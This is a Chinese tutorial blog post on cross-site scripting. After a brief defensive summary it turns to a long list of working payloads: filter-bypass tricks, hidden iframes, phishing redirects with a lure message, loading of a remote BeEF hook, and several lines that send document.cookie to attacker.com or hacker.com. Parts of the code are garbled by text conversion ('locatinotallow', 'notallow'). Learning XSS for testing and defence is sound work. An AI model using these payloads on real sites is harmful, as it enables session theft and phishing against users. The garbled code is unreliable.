XSS漏DONG原理(一)

简介: XSS漏DONG原理(一)

原理

XSS(跨站脚本公鸡)是一种常见的网络安全漏洞,公鸡者通过在受信任的网站上注入恶意脚本,使其在用户浏览器中执行。这些恶意脚本可以窃取用户的敏感信息,如登录凭证、个人信息等,或者进行其他恶意操作。

XSS漏洞的原理是公鸡者将恶意脚本注入到受信任的网站中,然后当用户访问该网站时,恶意脚本会被执行。这种注入可以通过多种方式实现,包括在输入框中注入恶意脚本、通过URL参数注入脚本等。

公鸡者通常利用以下几种类型的XSS漏洞进行公鸡:

存储型XSS:公鸡者将恶意脚本存储在服务器上,当其他用户访问包含该脚本的页面时,恶意脚本会被执行。

反射型XSS:公鸡者将恶意脚本作为参数注入到URL中,当用户点击包含该恶意脚本的URL时,恶意脚本会被执行。

DOM型XSS:公鸡者通过修改页面的DOM结构来触发XSS漏洞,使恶意脚本被执行。

为了防止XSS漏洞,开发人员应该采取以下措施:

对用户输入进行严格的验证和过滤,确保不允许恶意脚本注入。

对输出的内容进行适当的编码,以防止恶意脚本被执行。

使用安全的编程语言和框架,避免常见的XSS漏洞。

及时更新和修补已知的安全漏洞。

image.png

1、XSS(Cross Site Scripting)跨站脚本公鸡是基于客户端的Web公鸡,跟SQL注入公鸡一样稳居OWASP前三,危害极大  

2、XSS即公鸡者构造脚本(一般是Javascript)到Web页面,受害者通过点击链接即被公鸡  

若拿到了管理员的cookie,则功效相当于SQL注 入,直接控制整个网站  

3、XSS公鸡点一般出现在网页中的评论框、留言板、搜索框等"用户输入"的地方

4、XSS漏洞形成主要是Web服务端没有对脚本文件如<script>进行安全过滤

基于DOM和Ajax等技术,慢慢迁移到客户端

例如在DVWAXSS输入框里输入:

<script>alert('xss')</script>

image.png

危害

网页挂马

网页挂马是指黑客通过各种手段将恶意代码嵌入到网页中,使得用户在访问该网页时受到公鸡。这种公鸡方式主要是通过在网页的代码中插入恶意的JavaScript代码或其他类型的代码来实现的。当用户访问被挂马的网页时,恶意代码会自动执行,从而导致用户的计算机感染病读、遭受钓鱼公鸡、泄露个人信息等安全问题。

网页挂马的目的通常是为了获取用户的敏感信息、传播恶意软件、进行网络钓鱼等非法活动。黑客可以利用各种漏洞和技术手段来实现网页挂马,例如利用网站的安全漏洞、操纵广告投放、劫持网页链接等。

为了防止网页挂马,网站管理员需要定期检查网站的安全性,及时修补漏洞,使用安全的编码实践,限制用户输入,过滤恶意代码等。用户在浏览网页时也应该保持警惕,避免点击可疑链接,及时更新浏览器和安全软件,以提高自身的安全防护能力。

会话劫持

用户劫持

直接控制受害者  

信息窃取

盗取各类用户账号、如网银账号、游戏账号、电 商账号等  

键盘记录

网站钓鱼

钓鱼网站

XSS DDOS

XSS蠕虫

分类  

反射型XSS(Reflected XSS)

非持久型XSS  

非持久型XSS是指恶意脚本只在用户访问受感染的页面时执行一次,不会被存储到服务器端。与持久型XSS不同,非持久型XSS的公鸡效果只在当前用户会话中生效,不会对其他用户产生影响。

以下是一个非持久型XSS的例子:

<!DOCTYPE html>
<html>
<head>
<script>
function xssAttack() {
  var userInput = document.getElementById("userInput").value;
  document.getElementById("output").innerHTML = userInput;
}
</script>
</head>
<body>
<h1>非持久型XSS演示</h1>
<input type="text" id="userInput">
<button onclick="xssAttack()">提交</button>
<p id="output"></p>
</body>
</html>

用户在输入框中输入恶意代码,例如<script>alert('XSS公鸡')</script>,点击提交按钮后,恶意代码会被执行,并弹出一个警示框。这种公鸡只在当前用户会话中生效,不会对其他用户产生影响

存储型XSS(Stored XSS)

持久型XSS(挂马)

持久型XSS是一种常见的网络安全漏洞,它允许公鸡者将恶意脚本注入到网站的数据库中,然后在用户访问该网站时执行这些恶意脚本。这种漏洞之所以被称为"持久型",是因为恶意脚本会被永久地存储在目标网站的数据库中,每当用户访问受影响的页面时,这些脚本都会被执行。

持久型XSS的危害非常大,公鸡者可以利用它来窃取用户的敏感信息,如登录凭证、个人信息等。公鸡者还可以通过在受影响的网站上注入恶意代码,将用户重定向到恶意网站,甚至控制用户的浏览器。

以下是一个持久型XSS的示例:

假设有一个博客网站,用户可以在评论区发表评论。网站的开发者没有对用户输入进行充分的过滤和验证,导致公鸡者可以在评论中注入恶意脚本。

公鸡者可以在评论中输入以下内容:

<script>
  // 恶意代码,例如窃取用户的Cookie
  var xhr = new XMLHttpRequest();
  xhr.open("GET", "http://attacker.com/steal.php?cookie=" + document.cookie, true);
  xhr.send();
</script>

当其他用户访问包含这个恶意评论的页面时,他们的浏览器会执行这段恶意脚本,将用户的Cookie发送到公鸡者控制的服务器上。

为了防止持久型XSS公鸡,开发者应该对用户输入进行严格的过滤和验证,并使用适当的编码来防止恶意脚本的注入

DOM型XSS

基于DOM文档对象类型构造XSS语句

document.cookie

document.location  

手工思路

image.png

寻找XSS漏洞点

构造XSS链接  

挂马

钓鱼

等待肉鸡上钩

1.kali linux

(1)xssf + metaspolit

(2)BeEF  

2.windows 7  

XSS脚本解读

image.png

常用HTML标签

<iframe>

<textarea>

<img>  

常用JavaScript方法

image.png

 

alert//弹框

windows.location//事件信息/重定向

location.href//事件信息/重定向

onload//加载

onsubmit//提交

onerror //出错加载

windows.location和location.href都是JavaScript中用于获取当前页面URL的属性。

windows.location是一个对象,它包含了当前页面的URL信息,包括协议、主机、端口、路径等。可以通过windows.location来获取或修改当前页面的URL信息。

location.href是windows.location对象的一个属性,它返回当前页面的完整URL。可以通过location.href来获取当前页面的URL。

以下是一个示例:

console.log(windows.location); // 输出:[object Location]
console.log(location.href); // 输出://www.jb51.net/

image.png

<script>alert('xss')</script>

此脚本实现弹框提示,一般作为漏洞测试或者演示使用。类似SQL注入漏洞测试中的单引号’

一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<>/'

这样就可以证明,这个页面位置存在了XSS漏洞  

<script>alert(document.cookie)</script>

获取cookie并显示

自己看自己cookie没意义,一般需要结合其他代码,让用户点击并发送cookie到自己架设的服务器  

页面嵌套

image.png

<iframe src=http://www.baidu.com width=300 height=300></iframe>


<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

image.png

 

<script>window.locatinotallow="http://www.hacker.com"</script>


<script>location.href="http://www.hacker.com"</script>


<script>location.href="http://172.16.70.214/mutillidae/robots.txt"</script>


弹框警告并重定向  

image.png

<script>alert("请移步到我们的新站");location.href="http://new.hacker.com"</script>

<script>alert('请移步到我们的新站');location.href="http://172.16.70.214/mutillidae/robots.txt"</script>

<script>alert('xss');location.href="http://172.16.70.214/mutillidae/robots.txt"</script>

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户

如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收 集账户)

社工文案:【紧急通知-您的私房照泄露了】  


image.png

image.png

<script src="http://www.hacker.com/xss.js"></script>


1.将用户重定向到其他页面并读取xss.js内容

2.xss.js内容可以构造危害更大的脚本功能  

(1)浏览器被劫持

(2)与CSRF结合,网银转账  

<script src="172.16.70.216:3000/hook.js"></script>

BeEF框架的JS语句  

巧用图片标签

image.png

<img src="#" notallow=alert('xss')>


若图片链接无效,则执行src  

可以绕开<script>过滤  
<img src="javascript:alert('xss');">
<img src="172.16.70.216:3000/hook.js"></img>


<img src=#

onerror="document.body.appendChild(document.createElement('script')).src='//www.hacker.com/cookie.js'">


绕开过滤的脚本

image.png

大小写

<ScrIpt>alert('xss')</SCRipt>  

字符编码

url  

%3c%73%63%72%49%70%74%3e%61%6c%

65%72%74%28%27%78%73%73%27%29%3c%

2f%73%63%72%69%70%74%3e  

代码混淆

 http://tool.chinaz.com/tools/jscodeconfusion. aspx

<script>window["\x61\x6c\x65\x72\x74"]('\ x78\x73\x73')</script>  

收集用户cookie  

image.png

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>  

<script>document.locatinotallow=" http://www.hacker.com/cookie.php?cookie="+ document.cookie</script>  

<script>new Image().src=" http://www.hacker.com/cookie.php?cookie="+ document.cookie;</script>

其他

image.png

<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>  

当<script>被过滤时使用  

<iframe src="http://www.hacker.com/cookie.php?cookie='+ document.cookie"></iframe>  

<script>
new Image().src="http://www.hacker.com/cookie.php?cookie='+
document.cookie";
img.width = 0;
img.height = 0;
</script>

服务器端Web文件

PHP文件

image.png

相关文章
|
2月前
|
Web App开发 安全 关系型数据库
xss漏洞原理(五)BeEF
xss漏洞原理(五)BeEF
|
2月前
|
安全
xss漏洞原理(五)BeEF
xss漏洞原理(五)BeEF
|
2月前
|
开发框架 安全 JavaScript
xss漏洞原理(四)自动化XSS
xss漏洞原理(四)自动化XSS
|
2月前
|
存储 Web App开发 安全
XSS漏洞原理(三)存储型
XSS漏洞原理(三)存储型
|
SQL 前端开发
xss原理和防护
为什么要发表这篇文章呢?原因看下图 很无奈,表示xss之前也是听过,只是没有真的去研究过,所以这次为了审核只能研究一番了。 XSS-即Cross Site Scripting. 为了与"CSS"不混淆,故简称XSS.
52 0
|
存储 编解码 安全
浏览器基础原理-安全: 跨站脚本攻击(XSS)
浏览器基础原理-安全: 跨站脚本攻击(XSS)
62 0
|
安全 存储 前端开发
Web 安全 — XSS 的原理和攻防
Web 安全 — XSS 的原理和攻防
207 0
Web 安全 — XSS 的原理和攻防
|
存储 监控 安全
WEB常见漏洞之XSS(基础原理篇)
WEB常见漏洞之XSS(基础原理篇)
326 0
|
存储 JavaScript 安全
跨站脚本攻击(XSS)和跨站请求伪造(CSRF)是什么?区别是什么?底层原理是什么?
跨站脚本攻击(XSS)和跨站请求伪造(CSRF)是什么?区别是什么?底层原理是什么?
913 0
|
存储 JavaScript 前端开发
XSS 和 CSRF 原理和基本防御方式
XSS 和 CSRF 原理和基本防御方式